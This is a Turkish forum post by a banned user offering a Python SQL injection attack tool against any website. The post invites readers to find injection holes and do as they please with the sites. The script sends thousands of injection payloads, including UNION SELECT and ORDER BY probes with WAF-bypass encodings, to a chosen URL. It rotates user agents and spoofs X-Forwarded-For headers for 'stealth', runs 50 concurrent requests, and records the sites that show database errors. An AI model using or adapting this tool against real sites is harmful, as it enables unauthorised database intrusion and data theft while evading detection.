Mertistevip
Banned
- Katılım
- 2 Eki 2025
- Mesajlar
- 496
- Beğeniler
- 99
- İletişim


Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Kodda aidan yardım lında sql açıklarını bulup ordan istediğinizi yapın siteye isteyen dah fazla method ekleyebılır bi e.s alırım isteyen siber güvenlik içinde kullaanabılır
Python:
import asyncio
import aiohttp
import random
import time
import os
import json
import warnings
import base64
from datetime import datetime
warnings.filterwarnings("ignore", category=DeprecationWarning)
MAX_CONCURRENT = 50
TIMEOUT_SEC = 10
COLORS = {"OK": "\033[92m", "FAIL": "\033[91m", "WARN": "\033[93m", "INFO": "\033[94m", "RESET": "\033[0m"}
class UltimateScanner:
def __init__(self, target_url):
self.target = target_url.strip().rstrip('/')
if not self.target.startswith("http"):
self.target = "https://" + self.target
self.results = []
self.stats = {"total": 0, "vuln": 0, "error": 0}
self.payloads = self.generate_stealth_payloads()
def generate_stealth_payloads(self):
"""WAF Bypass teknikleri ile zenginleştirilmiş payloadlar"""
base = ["'", "''", "';", '"', '";', "') OR 1=1--", "1' ORDER BY 1--", "1' UNION SELECT NULL--"]
expanded = []
for b in base:
expanded.append(b)
expanded.append(b.replace(" ", "/**/"))
expanded.append(b.replace("'", "%27").replace(" ", "%20"))
for i in range(1, 2000):
expanded.append(f"1' ORDER BY {i}--")
expanded.append(f"1' UNION SELECT {','.join(['NULL']*min(i, 20))}--")
return expanded
async def stealth_fetch(self, session, payload):
"""Gizlilik odaklı istek gönderici"""
headers = {
"User-Agent": random.choice([
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/121.0.0.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) Firefox/122.0"
]),
"X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
"Referer": "https://www.google.com/"
}
test_url = f"{self.target}/?id={payload}"
self.stats["total"] += 1
curr_id = self.stats["total"]
try:
async with session.get(test_url, headers=headers, timeout=TIMEOUT_SEC, ssl=False, allow_redirects=True) as resp:
text = await resp.text()
status = resp.status
color = COLORS["OK"] if status == 200 else COLORS["WARN"]
print(f"[{curr_id:04}] {color}ATTACKING:{COLORS['RESET']} {payload[:25]:<25} | {color}CODE: {status}{COLORS['RESET']}")
sql_errors = ["sql syntax", "mysql", "postgresql", "oracle", "sqlite", "unexpected end", "native client"]
if any(err in text.lower() for err in sql_errors):
print(f"\n{COLORS['FAIL']}[!!!] KRİTİK ZAFİYET TESPİT EDİLDİ! [!!!]{COLORS['RESET']}")
print(f"{COLORS['FAIL']}[TİP] SQL Injection{COLORS['RESET']}")
print(f"{COLORS['FAIL']}[URL] {test_url}{COLORS['RESET']}\n")
self.results.append({"url": test_url, "type": "SQLi", "time": str(datetime.now())})
self.stats["vuln"] += 1
except Exception:
self.stats["error"] += 1
async def run(self):
os.system('cls' if os.name == 'nt' else 'clear')
print(f"{COLORS['INFO']}=== ORION-X ULTIMATE STEALTH FRAMEWORK ==={COLORS['RESET']}")
print(f"[*] HEDEF SITE: {self.target}")
print(f"[*] PAYLOAD SAYISI: {len(self.payloads)}")
print(f"[*] GİZLİLİK MODU: AKTİF (X-Forwarded-For Spoofing)")
print(f"{'-'*50}\n")
time.sleep(1)
conn = aiohttp.TCPConnector(limit=MAX_CONCURRENT, ssl=False)
async with aiohttp.ClientSession(connector=conn) as session:
tasks = [self.stealth_fetch(session, p) for p in self.payloads]
await asyncio.gather(*tasks)
self.summary()
def summary(self):
print(f"\n{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
print(f"TARAMA SONUÇLARI")
print(f"Toplam Deneme: {self.stats['total']}")
print(f"Bulunan Açık : {self.stats['vuln']}")
print(f"Hatalı/Engelli: {self.stats['error']}")
print(f"Rapor : scan_results.json")
print(f"{COLORS['INFO']}{'='*50}{COLORS['RESET']}")
with open("scan_results.json", "w") as f:
json.dump(self.results, f, indent=4)
async def main():
target = input("Taramak istediğiniz URL: ")
scanner = UltimateScanner(target)
await scanner.run()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\n[!] Çıkış yapılıyor...")